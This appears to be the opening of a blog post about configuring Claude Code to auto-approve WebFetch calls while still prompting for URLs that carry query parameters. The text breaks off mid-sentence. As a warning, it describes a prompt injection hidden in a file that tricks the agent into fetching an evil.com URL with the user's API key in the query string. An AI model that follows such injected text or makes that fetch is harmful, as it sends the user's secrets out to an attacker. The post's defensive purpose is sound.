Claude Code: Auto-Approve Tools While Keeping a...

Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this? You can. But there's a catch: WebFetch can send data in query parameters. A prompt injection buried in a file could trick Claude into fetching https://evil.com?secret=YOUR_API_KEY. Auto-approving everything means you'd never see it happen. Here's how I set up a middle ground: auto-allow clean URLs, but show a confirmation prompt when query param